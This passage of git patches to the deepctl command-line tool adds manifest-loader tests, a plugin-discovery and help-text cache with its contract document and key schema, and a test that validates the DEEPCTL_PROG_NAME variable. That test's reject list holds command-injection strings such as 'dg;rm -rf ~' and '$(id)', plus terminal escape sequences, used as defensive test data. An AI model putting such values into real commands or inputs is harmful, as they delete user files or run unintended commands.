+        )
+        proc = subprocess.run(
+            [
+                sys.executable,
+                "-m",
+                "deepctl._manifest_build",
+                "--check",
+                str(directory),
+            ],
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        assert proc.returncode == 1
+        assert "duplicate" in proc.stderr
+
+
+class TestBuilderCli:
+    def test_out_without_a_value(self) -> None:
+        proc = subprocess.run(
+            [sys.executable, "-m", "deepctl._manifest_build", "--out"],
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        assert proc.returncode == 2
+        assert proc.stderr == "manifest: --out needs a file name\n"
+
+
+class TestUnavailable:
+    """A missing or broken manifest is one line and exit 1, not a traceback."""
+
+    @pytest.fixture
+    def package(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+        package = tmp_path / "deepctl"
+        package.mkdir()
+        monkeypatch.setattr(_manifest, "_HERE", str(package))
+        monkeypatch.setattr(_manifest, "_manifest", None)
+        monkeypatch.setattr(_manifest, "source", None)
+        return package
+
+    def test_missing(self, package: Path, capsys: pytest.CaptureFixture[str]) -> None:
+        with pytest.raises(SystemExit) as exc:
+            _manifest.load()
+        assert exc.value.code == 1
+        err = capsys.readouterr().err
+        assert err.startswith("dg: command manifest missing or invalid (No such file")
+        assert err.endswith("); reinstall deepctl\n")
+        assert err.count("\n") == 1
+
+    @pytest.mark.parametrize("text", ["{not json", '{"manifest_version": 2}', "[]"])
+    def test_invalid(
+        self, package: Path, text: str, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        (package / "_manifest.json").write_text(text)
+        with pytest.raises(SystemExit) as exc:
+            _manifest.load()
+        assert exc.value.code == 1
+        assert capsys.readouterr().err.startswith(
+            "dg: command manifest missing or invalid ("
+        )
+
+    def test_bad_fragment(
+        self, package: Path, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        (package / "_manifest.d").mkdir()
+        (package / "_manifest.d" / "x.json").write_text('{"name": "y"}')
+        with pytest.raises(SystemExit):
+            _manifest.load()
+        assert "reinstall deepctl" in capsys.readouterr().err
+
+    def test_subprocess_has_no_traceback(self, tmp_path: Path) -> None:
+        code = (
+            "import deepctl._manifest as m; m._HERE = '/nonexistent'; "
+            "import sys; sys.argv = ['dg', 'models']; "
+            "from deepctl.main import main; main()"
+        )
+        proc = subprocess.run(
+            [sys.executable, "-c", code],
+            capture_output=True,
+            text=True,
+            timeout=60,
+            env={
+                **os.environ,
+                "HOME": str(tmp_path),
+                "DEEPCTL_TELEMETRY_DISABLED": "1",
+            },
+        )
+        assert proc.returncode == 1
+        assert "Traceback" not in proc.stderr
+        assert "dg: command manifest missing or invalid (" in proc.stderr
+
+
+class TestBuiltFile:
+    def test_built_file_wins_without_fragments(
+        self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """An installed wheel has _manifest.json and no _manifest.d/."""
+        package = tmp_path / "deepctl"
+        package.mkdir()
+        assemble(str(FRAGMENTS), str(package / "_manifest.json"))
+        monkeypatch.setattr(_manifest, "_HERE", str(package))
+        monkeypatch.setattr(_manifest, "_manifest", None)
+        monkeypatch.setattr(_manifest, "source", None)
+        assert _manifest.load() == assemble(str(FRAGMENTS))
+        assert _manifest.source == "built"
+
+    def test_fragments_win_in_a_source_tree(
+        self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        package = tmp_path / "deepctl"
+        shutil.copytree(FRAGMENTS, package / "_manifest.d")
+        (package / "_manifest.json").write_text('{"stale": true}')
+        monkeypatch.setattr(_manifest, "_HERE", str(package))
+        monkeypatch.setattr(_manifest, "_manifest", None)
+        assert _manifest.load() == assemble(str(FRAGMENTS))
+        assert _manifest.source == "fragments"
+
+
+def test_load_fragments_ignores_other_files(tmp_path: Path) -> None:
+    directory = _write(tmp_path / "d", _fragment("a"))
+    (directory / "README").write_text("not a fragment")
+    assert [f["name"] for f in load_fragments(str(directory))] == ["a"]
diff --git a/tests/unit/test_prog_name.py b/tests/unit/test_prog_name.py
new file mode 100644
index 00000000..480824e1
--- /dev/null
+++ b/tests/unit/test_prog_name.py
@@ -0,0 +1,67 @@
+"""DEEPCTL_PROG_NAME counts only when it is a plain program name."""
+
+from __future__ import annotations
+
+import pytest
+
+from deepctl import _cli
+from deepctl.main import prog_name_from_env
+
+PLAIN = ["dg", "deepgram", "deepctl", "my-dg", "dg.v2", "dg_2", "A1", "x" * 64]
+NOT_PLAIN = [
+    "",
+    "   ",
+    "/usr/local/bin/dg",
+    "bin/dg",
+    "..\\dg",
+    "C:\\dg",
+    ".",
+    "..",
+    ".dg",
+    "-h",
+    "--help",
+    "_dg",
+    "dg name",
+    "dg\tx",
+    "dg\nx",
+    "dg\x1b[31m",
+    "\x1b]0;title\x07",
+    "dg\x00",
+    "dg;rm -rf ~",
+    "dg|x",
+    "dg&x",
+    "$(id)",
+    "`id`",
+    "dg>x",
+    "dg'x",
+    'dg"x',
+    "dg*",
+    "dg~",
+    "[bold]dg[/bold]",
+    "dgé",
+    "dg\u202e",
+    "x" * 65,
+]
+
+
+@pytest.mark.parametrize("name", PLAIN)
+def test_plain_names_are_used(monkeypatch: pytest.MonkeyPatch, name: str) -> None:
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", f" {name}\n")
+    assert prog_name_from_env() == name
+    assert _cli.prog_name("fallback") == name
+
+
+@pytest.mark.parametrize("name", NOT_PLAIN)
+def test_anything_else_is_ignored(monkeypatch: pytest.MonkeyPatch, name: str) -> None:
+    if "\x00" in name:
+        pytest.skip("the environment can't hold a NUL")
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", name)
+    assert prog_name_from_env() is None
+    assert _cli.prog_name("fallback") == "fallback"
+    assert _cli.prog_name() is None
+
+
+def test_unset(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.delenv("DEEPCTL_PROG_NAME", raising=False)
+    assert prog_name_from_env() is None
+    assert _cli.prog_name("dg") == "dg"
diff --git a/tests/unit/test_telemetry_wiring.py b/tests/unit/test_telemetry_wiring.py
index bf9da41b..883efa6f 100644
--- a/tests/unit/test_telemetry_wiring.py
+++ b/tests/unit/test_telemetry_wiring.py
@@ -359,31 +359,32 @@ def test_root_help_reflects_no_telemetry_flag_after_help(
         assert capsys.readouterr().out.rstrip().endswith("Telemetry is off.")
 
     def test_no_telemetry_keeps_hyphenated_commands(self) -> None:
-        from types import SimpleNamespace
-
-        from deepctl.main import preprocess_hyphenated_commands
-
-        def select(group: str) -> list[Any]:
-            if group == "deepctl.commands":
-                return [SimpleNamespace(name="debug")]
-            if group == "deepctl.subcommands.debug":
-                return [SimpleNamespace(name="audio")]
-            return []
-
-        with patch("importlib.metadata.entry_points") as mock_eps:
-            mock_eps.return_value.select.side_effect = select
-            assert preprocess_hyphenated_commands(
-                ["--no-telemetry", "debug-audio", "--help"]
-            ) == ["--no-telemetry", "debug", "audio", "--help"]
-            assert preprocess_hyphenated_commands(["--quiet", "debug-audio"]) == [
-                "--quiet",
-                "debug",
-                "audio",
-            ]
+        import click
+
+        from deepctl._cli import cli
+
+        seen: list[list[str]] = []
+
+        def record(self: Any, ctx: Any, args: list[str]) -> Any:
+            seen.append(list(args))
+            raise click.exceptions.Exit(0)
+
+        for argv in (
+            ["--no-telemetry", "debug-audio", "--help"],
+            ["--quiet", "debug-audio"],
             # An option that takes a value still consumes the next token.
-            assert preprocess_hyphenated_commands(
-                ["--profile", "debug-audio", "debug-audio"]
-            ) == ["--profile", "debug-audio", "debug", "audio"]
+            ["--profile", "debug-audio", "debug-audio"],
+        ):
+            with patch.object(click.Group, "resolve_command", record):
+                try:
+                    cli.main(args=argv, prog_name="dg", standalone_mode=False)
+                except click.exceptions.Exit:
+                    pass
+        assert seen == [
+            ["debug", "audio", "--help"],
+            ["debug", "audio"],
+            ["debug", "audio"],
+        ]
 
     def test_root_help_default_is_on(
         self, telemetry_on, capsys: pytest.CaptureFixture[str]
diff --git a/uv.lock b/uv.lock
index 77caeca5..18f6c53c 100644
--- a/uv.lock
+++ b/uv.lock
@@ -935,6 +935,7 @@ dependencies = [
 [package.optional-dependencies]
 dev = [
     { name = "build" },
+    { name = "jsonschema" },
     { name = "mypy" },
     { name = "packaging" },
     { name = "pre-commit" },
@@ -954,6 +955,7 @@ dev = [
 dev = [
     { name = "build" },
     { name = "deepctl-plugin-example" },
+    { name = "jsonschema" },
     { name = "mypy" },
     { name = "packaging" },
     { name = "pre-commit" },
@@ -971,6 +973,7 @@ dev = [
 ]
 testing = [
     { name = "deepctl-plugin-example" },
+    { name = "jsonschema" },
     { name = "pytest" },
     { name = "pytest-asyncio" },
     { name = "pytest-cov" },
@@ -1015,6 +1018,7 @@ requires-dist = [
     { name = "deepctl-telemetry", editable = "packages/deepctl-telemetry" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
     { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "jsonschema", marker = "extra == 'dev'", specifier = ">=4.18.0" },
     { name = "keyring", specifier = ">=24.0.0,<26" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.0.0" },
     { name = "packaging", marker = "extra == 'dev'", specifier = ">=23.0" },
@@ -1042,6 +1046,7 @@ provides-extras = ["dev"]
 dev = [
     { name = "build", specifier = ">=0.10.0" },
     { name = "deepctl-plugin-example", editable = "packages/deepctl-plugin-example" },
+    { name = "jsonschema", specifier = ">=4.18.0" },
     { name = "mypy", specifier = ">=1.0.0" },
     { name = "packaging", specifier = ">=23.0" },
     { name = "pre-commit", specifier = ">=3.0.0" },
@@ -1059,6 +1064,7 @@ dev = [
 ]
 testing = [
     { name = "deepctl-plugin-example", editable = "packages/deepctl-plugin-example" },
+    { name = "jsonschema", specifier = ">=4.18.0" },
     { name = "pytest", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", specifier = ">=0.21.0" },
     { name = "pytest-cov", specifier = ">=4.0.0" },

From 745e258fa396961bb3f794bab32d6801969c4f35 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 15:36:37 -0400
Subject: [PATCH 07/88] perf(cli): cache plugin discovery and help output

Root --help lists plugin commands, which took an entry point scan and an
import of every plugin on each run. The discovery result is now kept in
the user cache dir and reused while its stamp holds: the mtimes of every
sys.path directory and of the plugin venv under $HOME and the real home,
plus agent mode and the working directory under an agent. A cache hit
lists plugins without importing them, pydantic or Config. When no plugin
is installed at all, a quick entry point check skips discovery.

Only a result the cache can reproduce exactly is kept. A discovery that
wrote to stderr (a skipped plugin, a load error) or let a plugin replace
a built-in runs again next time, so its warnings show on every --help.
Each row stores its summary as the paragraphs Click shows, so a plugin
with multi-line help caches too. Rows are checked when written and again
when read: an invalid or reserved name, or text with a character in
Unicode categories Cc, Cf (other than ZWNJ and ZWJ), Zl, Zp, Co or Cn,
keeps a discovery out of the cache, and a file holding one is ignored.
Built-ins always win.

Under an AI agent the discovery cache lives under the real home's cache
directory, never one HOME or XDG_CACHE_HOME points to.

For the native launcher, a root dg --help run saves its output as <real
cache>/help/<version>-<prog>-<width>-<tty>.txt, with <entry>.key.json
listing every file (path, mtime_ns, size, inode or absent), environment
variable, width and tty state the text depends on, and text_sha256,
which binds the key to the text written before it. That happens only
when the launcher sets DEEPCTL_HELP_CACHE=1 (removed from the
environment at startup), outside an AI agent, for a clean run (exit 0,
nothing on stderr) whose stdout is UTF-8, and only if the key's inputs
didn't change while the help was rendered. No key over 32 files or 64
environment variables, and no entry over 256 KiB, is written. The cache
directory comes from the account (getpwuid or the LocalAppData known
folder), never from HOME or XDG_CACHE_HOME. An unchanged entry isn't
rewritten, and entries for other versions are pruned.
docs/contracts/help-cache.md and help-cache-key.schema.json describe the
contract.

Cache directories are 0700 and files 0600, written through a temp file
in the same directory and renamed into place; stale temp files are
pruned. A cache directory that isn't a real directory owned by this
user, or that its group or others can write, is neither read nor
written, and any error skips the cache.

The help paths also stop importing modules they don't use: yaml in
deepctl_core.output loads only to write YAML, secrets in config only to
name a temp file, and rich.markup in hosts only to print a warning.
---
 docs/contracts/help-cache-key.schema.json     |  59 ++
 docs/contracts/help-cache.md                  | 110 +++
 .../deepctl-core/src/deepctl_core/config.py   |   3 +-
 .../deepctl-core/src/deepctl_core/hosts.py    |   6 +-
 .../deepctl-core/src/deepctl_core/output.py   |   4 +-
 src/deepctl/_cache.py                         | 711 ++++++++++++++++
 src/deepctl/_cli.py                           | 156 +++-
 src/deepctl/main.py                           |   7 +
 tests/unit/test_cache.py                      | 781 ++++++++++++++++++
 tests/unit/test_import_budget.py              |  19 +
 tests/unit/test_lazy_group.py                 |  12 +-
 11 files changed, 1856 insertions(+), 12 deletions(-)
 create mode 100644 docs/contracts/help-cache-key.schema.json
 create mode 100644 docs/contracts/help-cache.md
 create mode 100644 src/deepctl/_cache.py
 create mode 100644 tests/unit/test_cache.py

diff --git a/docs/contracts/help-cache-key.schema.json b/docs/contracts/help-cache-key.schema.json
new file mode 100644
index 00000000..bbab63bb
--- /dev/null
+++ b/docs/contracts/help-cache-key.schema.json
@@ -0,0 +1,59 @@
+{
+  "$schema": "https://json-schema.org/draft/2020-12/schema",
+  "$id": "https://github.com/deepgram/cli/docs/contracts/help-cache-key.schema.json",
+  "title": "deepctl help-cache key",
+  "description": "<entry>.key.json next to a help-cache entry: every input the cached root --help text depends on. Python writes exactly these members; a reader ignores unknown ones (docs/contracts/help-cache.md, rule 0).",
+  "type": "object",
+  "additionalProperties": false,
+  "required": ["format", "version", "prog", "width", "isatty", "executable", "files", "env", "text_sha256"],
+  "properties": {
+    "format": {"description": "Key format. A reader serves no entry whose format it doesn't know.", "const": 1},
+    "version": {"description": "deepctl version that wrote the entry.", "type": "string", "minLength": 1},
+    "prog": {"description": "Program name shown in the usage line.", "type": "string", "minLength": 1},
+    "width": {"description": "min(terminal columns, 80), as Click formatted the text.", "type": "integer", "minimum": 1, "maximum": 80},
+    "isatty": {"description": "Whether stdout was a terminal.", "type": "boolean"},
+    "executable": {"description": "sys.executable of the Python that wrote the entry.", "type": "string"},
+    "files": {
+      "description": "Every file or directory read to produce the text, in order. Python writes no key with more than 32.",
+      "type": "array",
+      "maxItems": 32,
+      "items": {
+        "oneOf": [
+          {
+            "type": "object",
+            "additionalProperties": false,
+            "required": ["path", "mtime_ns", "size", "inode"],
+            "properties": {
+              "path": {"type": "string", "minLength": 1},
+              "mtime_ns": {"type": "integer"},
+              "size": {"type": "integer", "minimum": 0},
+              "inode": {"type": "integer", "minimum": 0},
+              "cwd_relative": {"description": "Reserved; never written.", "const": true}
+            }
+          },
+          {
+            "type": "object",
+            "additionalProperties": false,
+            "required": ["path", "absent"],
+            "properties": {
+              "path": {"type": "string", "minLength": 1},
+              "absent": {"const": true},
+              "cwd_relative": {"description": "Reserved; never written.", "const": true}
+            }
+          }
+        ]
+      }
+    },
+    "env": {
+      "description": "Environment variables the text depends on: the value, or null when unset. Python writes no key with more than 64.",
+      "type": "object",
+      "maxProperties": 64,
+      "additionalProperties": {"type": ["string", "null"]}
+    },
+    "text_sha256": {
+      "description": "Lowercase hex SHA-256 of the entry file's exact bytes. An entry whose bytes hash differently is a miss.",
+      "type": "string",
+      "pattern": "^[0-9a-f]{64}$"
+    }
+  }
+}
diff --git a/docs/contracts/help-cache.md b/docs/contracts/help-cache.md
new file mode 100644
index 00000000..830a8a8c
--- /dev/null
+++ b/docs/contracts/help-cache.md
@@ -0,0 +1,110 @@
+# Help cache contract (Python ↔ native launcher)
+
+Python writes the help cache, and the native launcher reads it to print `dg --help` without starting Python. This page is the whole contract: build the reader from it alone. The key format is `docs/contracts/help-cache-key.schema.json`. The writer is `deepctl/_cache.py`, and `served_text()` there is the reference for the last check.
+
+## Where
+
+The cache always lives under the default cache directory derived from the account, never from `HOME` or `XDG_CACHE_HOME`:
+
+| OS | Directory |
+|---|---|
+| Linux and other Unix | `<pw_dir>/.cache/deepctl/help/`, where `pw_dir` comes from `getpwuid(getuid())` |
+| macOS | `<pw_dir>/Library/Caches/deepctl/help/` |
+| Windows | `<LocalAppData>\deepgram\deepctl\Cache\help\`, where `<LocalAppData>` is `SHGetFolderPathW(CSIDL_LOCAL_APPDATA = 0x1C)` |
+
+If the account has no home (no passwd entry, or the call fails), there is no cache.
+
+Both `<cache>` (the parent) and `help/` must pass these checks, or the cache is neither read nor written:
+- a real directory (`lstat`), not a symlink;
+- on Unix, owned by the current uid, with no group or other write bit.
+
+Python creates both directories with mode 0700.
+
+## Entry names
+
+An entry is named `<version>-<prog>-<width>-<tty>.txt`.
+
+- **`<version>`:** the deepctl version, for example `0.5.0`.
+- **`<prog>`:** the program name in the usage line, with every character outside ASCII `[A-Za-z0-9._-]` replaced by `_`. Python derives the name in this order:
+  1. `DEEPCTL_PROG_NAME`, with surrounding whitespace removed, when that leaves it non-empty.
+  2. Otherwise `dg` under `python -m deepctl`.
+  3. Otherwise Click's name: the basename of `argv[0]` (on Windows, pip's launcher has already dropped `.exe`).
+
+  The launcher should set `DEEPCTL_PROG_NAME` to the basename of its own `argv[0]`, without `.exe`, on the Python path, and look entries up under that name.
+- **`<width>`:** `min(columns, 80)`. This is Python's `shutil.get_terminal_size()`:
+  - if `COLUMNS` parses as an integer greater than 0, `columns` is that number;
+  - otherwise it's the terminal width of **stdout** (fd 1);
+  - if that query fails or returns 0, `columns` is 80.
+
+  Python parses `COLUMNS` with `int()`, which also accepts surrounding whitespace, a `+` sign, `_` separators and non-ASCII digits. `COLUMNS` is keyed in `env`, so if the launcher parses it differently the result is a miss, never a wrong hit.
+- **`<tty>`:** `tty` when stdout is a terminal, else `pipe`.
+
+The entry file holds the exact bytes Python wrote to stdout, encoded as UTF-8. Styles (ANSI SGR) are kept only for `tty`. Root help contains non-ASCII characters (the logo), so these UTF-8 rules apply:
+
+- **Python writes an entry only when `sys.stdout.encoding` normalizes to `utf-8`** (`codecs.lookup(encoding).name == "utf-8"`).
+- **The bundle runs Python with `-I`**, which ignores every `PYTHON*` variable (`PYTHONIOENCODING`, `PYTHONUTF8`, `PYTHONLEGACYWINDOWSSTDIO` among them). The stdout encoding therefore depends only on the locale (Unix) or the console and code page (Windows). The locale isn't keyed, because Python's own coercion would record values the launcher never sees. Instead, the launcher applies Python's rule itself:
+- **On Unix**, serve an entry only when Python's stdout would be UTF-8:
+  1. Call `setlocale(LC_CTYPE, "")`.
+  2. If it fails, or the resulting `LC_CTYPE` locale is `C` or `POSIX`, serve. That is where Python applies PEP 538 coercion to `C.UTF-8` (`UTF-8` on macOS), or PEP 540 UTF-8 mode when `LC_ALL=C`.
+  3. Otherwise serve only when `nl_langinfo(CODESET)` names UTF-8. Normalize it by lowercasing and dropping `-` and `_`, then compare with `utf8`.
+  4. In every other case it's a miss: Python's stdout would be in another encoding, and Python would have written no entry.
+- **On Windows:**
+  - When stdout is a console, Python's encoding is always `utf-8` (PEP 528), and Python writes the text as UTF-16 through `WriteConsoleW`. A launcher serving a `tty` entry to a console must do the same: decode the entry as UTF-8 and write it with `WriteConsoleW`. That is correct whatever the console code page is.
+  - When stdout is a pipe or a file, Python's encoding is the ANSI code page. Serve a `pipe` entry only when `GetACP()` is 65001 (UTF-8); otherwise it's a miss.
+
+`<entry>.key.json` sits next to the entry. Ignore any name that starts with `.` and ends in `.tmp`: that's a write in progress.
+
+## Key (`format` 1)
+
+The launcher serves an entry only when every one of the following holds. Anything else is a miss: an unreadable file, invalid JSON, an unknown `format`, or any mismatch.
+
+0. **Reader limits and format evolution.**
+   - **Size and shape.** The key file is at most 64 KiB and parses as JSON. `files` has at most 32 items and `env` at most 64 names. The entry file is at most 256 KiB. Anything else is a miss.
+   - **Unknown members.** Unknown top-level members are ignored. Python writes exactly the members in the schema; a new top-level member that adds a condition for serving bumps `format`, so an older reader never serves on a key it doesn't fully understand. An unknown member inside a `files` item is a miss.
+   - **The schema** is the writer's contract: its `additionalProperties: false` describes what Python writes. Readers don't validate against it.
+1. **Header fields.**
+   - `format` is 1.
+   - `version` is the bundle's deepctl version.
+   - `prog` equals the program name the launcher will show, **before** the file-name sanitizing above, with surrounding whitespace stripped. That is the `DEEPCTL_PROG_NAME` value it sets.
+   - `width` and `isatty` equal the values computed above.
+2. **`executable`** is exactly equal, as a string, to the bundle interpreter's `sys.executable`. It isn't resolved through symlinks, so `…/python3` and `…/python3.12` don't match.
+3. **Each item in `files`** is checked with `stat()` on its `path`, following symlinks:
+   - **`absent: true`** matches only when the path doesn't exist. Any `stat` error counts as not existing.
+   - **Any other item** matches only when `mtime_ns`, `size` and `inode` all equal the current values. `mtime_ns` is in nanoseconds; directories are included, and their `size` is whatever `stat` reports (0 on Windows).
+   - **On Windows, `mtime_ns`** is Python's conversion of the last-write FILETIME: `(filetime - 116444736000000000) * 100`, where `filetime` counts 100 ns intervals since 1601-01-01 UTC.
+   - **On Windows, `inode`** is Python's `st_ino`, the file ID from `GetFileInformationByHandle(Ex)`. It can be wider than 64 bits on ReFS (Python 3.12 and later), so compare it as an arbitrary-precision integer.
+   - **`cwd_relative`** is reserved and never written. A reader that finds it treats the key as a miss.
+4. **Each name in `env`** has the same value in the launcher's environment, and `null` means the variable must be unset. On Windows, look the names up case-insensitively, as the OS does. A variable that isn't listed doesn't matter. `DEEPCTL_PROG_NAME` and `DEEPCTL_HELP_CACHE` are never listed: the launcher sets them, and `prog` already records the name.
+5. **`text_sha256`** (lowercase hex) equals the SHA-256 of the entry bytes the launcher read. This binds the text to its key: Python writes the text first and the key second, so text from another run under this key is a miss and is never served.
+
+A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 18 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
+
+**Paths and values that aren't valid Unicode.**
+- **Unix:** a path or environment value with bytes that don't decode under the filesystem encoding reaches Python as a lone surrogate (`\udcXX`).
+- **Windows:** an environment value or path holding an unpaired UTF-16 surrogate does the same.
+
+Either way, Python's strict UTF-8 encode of the key fails and no entry is written, so every key is strict UTF-8 JSON. A launcher compares paths and values as UTF-8 strings. A launcher-side value that isn't valid UTF-8 (on Windows, valid UTF-16) is a mismatch.
+
+**Serving.** On a hit, the launcher writes the entry's bytes to stdout exactly as they are, adding nothing (the text already ends with a newline). It writes nothing to stderr and exits 0. On a Windows console, it follows the UTF-8 rule above.
+
+On a miss, the launcher runs Python with `DEEPCTL_HELP_CACHE=1`.
+
+## When Python writes an entry
+
+Python writes an entry only when all of these hold:
+
+1. `DEEPCTL_HELP_CACHE=1` is in the environment. The launcher sets it only on a miss for argv `["--help"]` or `["-h"]`; Python accepts only `--help`, so the launcher should pass `--help` for both. Python removes the variable at startup, so nothing dg starts inherits it.
+2. argv is exactly `["--help"]`.
+3. The run is clean: exit 0, and nothing written to stderr.
+4. It isn't an AI agent session (`is_ai_agent()`).
+5. `DEEPCTL_EAGER_LOAD` isn't `1`.
+6. stdout's encoding normalizes to `utf-8`.
+7. The key's inputs (`executable`, `files`, `env`), taken before the help is rendered, still hold when it is written. A change during the run (a config edit, for example) means no entry.
+8. The key holds no lone surrogate (see above).
+9. The key lists at most 32 files and 64 environment variables, and the text is at most 256 KiB.
+
+Writes are atomic. The data goes to a `mkstemp` file (`.<random>.tmp`, mode 0600) in the same directory and is then renamed into place: the text first, then the key.
+
+If the entry and key on disk are already byte-equal to the new ones, nothing is written. Entries for other versions are pruned, as are `.tmp` files older than an hour.
+
+Root `--help` reads no project file (`deepgram.yaml`), so no project-file warning is ever part of it.
diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index 5088cb66..8a6343b4 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -17,7 +17,6 @@
 import io
 import os
 import re
-import secrets
 import stat
 import sys
 import threading
@@ -2212,6 +2211,8 @@ def _write_user_file_locked(
         return data
 
     def _replace_or_rewrite(self, target: Path, text: str) -> None:
+        import secrets
+
         tmp = target.with_name(f".{target.name}.{secrets.token_hex(6)}.tmp")
         try:
             fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_EXCL | _O_BINARY, 0o600)
diff --git a/packages/deepctl-core/src/deepctl_core/hosts.py b/packages/deepctl-core/src/deepctl_core/hosts.py
index 7f30082d..7e5ad8e4 100644
--- a/packages/deepctl-core/src/deepctl_core/hosts.py
+++ b/packages/deepctl-core/src/deepctl_core/hosts.py
@@ -23,8 +23,6 @@
 from typing import TYPE_CHECKING
 from urllib.parse import urlsplit
 
-from rich.markup import escape
-
 from . import messages as msg
 from . import output
 
@@ -373,6 +371,8 @@ def warn_env_host(
     identity: bool = False,
 ) -> None:
     """Say, once, that the key goes to (or comes from) a host the env chose."""
+    from rich.markup import escape
+
     host = msg.display(origin.host)
     if not _first_time(("W-ENV-BASEURL", f"{identity}:{variable}:{host}")):
         return
@@ -404,6 +404,8 @@ def _first_time(key: tuple[str, str]) -> bool:
 
 def report(err: CredentialHostError) -> None:
     """Print a refusal and its hint to stderr, once per process."""
+    from rich.markup import escape
+
     if not _first_time((err.message_id, err.error)):
         return
     output.print_error(escape(err.error))
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index c2487a81..7232c9ed 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -8,8 +8,6 @@
 from io import StringIO
 from typing import TYPE_CHECKING, Any, cast
 
-import yaml
-
 if TYPE_CHECKING:
     from rich.console import Console
     from rich.progress import Progress
@@ -248,6 +246,8 @@ def _format_json(self, data: Any) -> str:
 
     def _format_yaml(self, data: Any) -> str:
         """Format as YAML."""
+        import yaml
+
         try:
             if isinstance(data, str):
                 # Try to parse as JSON first
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
new file mode 100644
index 00000000..d2da51e9
--- /dev/null
+++ b/src/deepctl/_cache.py
@@ -0,0 +1,711 @@
+"""Disposable caches for ``dg --help``: plugin discovery and help text.
+
+**Plugin discovery.** Root ``--help`` lists plugin commands, so it has to
+discover them, which costs an entry point scan and an import of every
+plugin. The result is kept in ``<cache>/discovery/plugins-<crc>.json`` and
+reused while its stamp holds. The stamp covers every directory on
+``sys.path`` and the plugin venv (``~/.deepctl/plugins``, under ``$HOME``
+and under the account's real home): installing or removing a package
+changes one of their mtimes. Only a clean result is kept: a discovery
+that wrote anything to stderr (a skipped plugin, a load error) or let a
+plugin replace a built-in runs again next time, so its warnings show on
+every ``--help`` as in 0.4.x. A row stores its summary as the paragraphs
+Click shows, so a multi-line help caches too. Entries are checked again
+when read: a file holding an invalid or reserved name, or text with a
+character ``unsafe_text`` refuses (Unicode categories Cc, Cf except ZWNJ
+and ZWJ, Zl, Zp, Co and Cn), is ignored (a fresh discovery runs), and
+built-ins always win. Under an AI agent this cache lives under the
+real home's cache directory, never one ``$HOME`` or ``XDG_CACHE_HOME``
+points to.
+
+**Help text** (for the native launcher; contract in
+``docs/contracts/help-cache.md``). Only when the launcher asks
+(``DEEPCTL_HELP_CACHE=1``, removed from the environment at startup), for
+argv exactly ``--help``, outside an AI agent, and for a clean run (exit 0,
+nothing on stderr), Python saves stdout to
+``<real cache>/help/<version>-<prog>-<width>-<tty|pipe>.txt`` with
+``<entry>.key.json`` next to it, listing every input the text depends on.
+
+Directories are 0700 and files 0600, written atomically. A cache directory
+that isn't a real directory owned by this user, or that its group or others
+can write (the 0.4.1 O1 rule), is never read or written. Any error here
+skips the cache; it never fails the run.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import stat
+import sys
+import time
+from typing import Any
+
+FORMAT = 1
+
+# Environment variables root --help output, or the plugin set, depends on.
+HELP_ENV_VARS = (
+    "COLUMNS",
+    "TERM",
+    "NO_COLOR",
+    "FORCE_COLOR",
+    "DEEPGRAM_OUTPUT_COLOR",
+    "DEEPCTL_TELEMETRY_DISABLED",
+    "DEEPCTL_EAGER_LOAD",
+    "XDG_CONFIG_HOME",
+    "HOME",
+    "OR_APP_NAME",
+    "OR_SITE_URL",
+)
+
+
+# Plugin command names (the 0.4.2 rule; plugin_manager._VALID_PLUGIN_NAME).
+VALID_PLUGIN_NAME = re.compile(r"[a-z][a-z0-9-]{0,63}")
+# Format characters a cached row may carry: ZWNJ and ZWJ, which Persian,
+# Indic scripts and emoji sequences need. Every other Cf character (bidi
+# controls, zero-width spaces, the BOM, soft hyphens, invisible tags) is
+# refused, as are Cc (other than tab, and newline in help text), Zl, Zp, Co
+# and Cn.
+_ALLOWED_FORMAT = frozenset("\u200c\u200d")
+_REFUSED_CATEGORIES = frozenset({"Zl", "Zp", "Co", "Cn"})
+
+
+def unsafe_text(text: str, allow_newline: bool) -> bool:
+    """Whether ``text`` holds a character a cached row may not carry."""
+    import unicodedata
+
+    for char in text:
+        category = unicodedata.category(char)
+        if category == "Cc":
+            if char == "\t" or (allow_newline and char == "\n"):
+                continue
+            return True
+        if category == "Cf":
+            if char not in _ALLOWED_FORMAT:
+                return True
+        elif category in _REFUSED_CATEGORIES:
+            return True
+    return False
+
+
+# Limits on one help-cache key, so the launcher's stat budget stays fixed.
+# write_help writes no key over either limit; the launcher treats one as a
+# miss. Entry text over MAX_ENTRY_BYTES isn't written or served either.
+MAX_KEY_FILES = 32
+MAX_KEY_ENV = 64
+MAX_ENTRY_BYTES = 256 * 1024
+
+
+def list_widths() -> range:
+    """The widths Click can wrap a command summary to in root ``--help``.
+
+    ``HelpFormatter`` is ``max(min(columns, 80) - 2, 50)`` wide (50-78; dg
+    sets no ``terminal_width``), and ``write_dl`` wraps the second column to
+    ``max(width - first_col - 2, 10)``, where ``first_col`` is the longest
+    listed name, capped at 30, plus 2. The built-ins are always listed, so
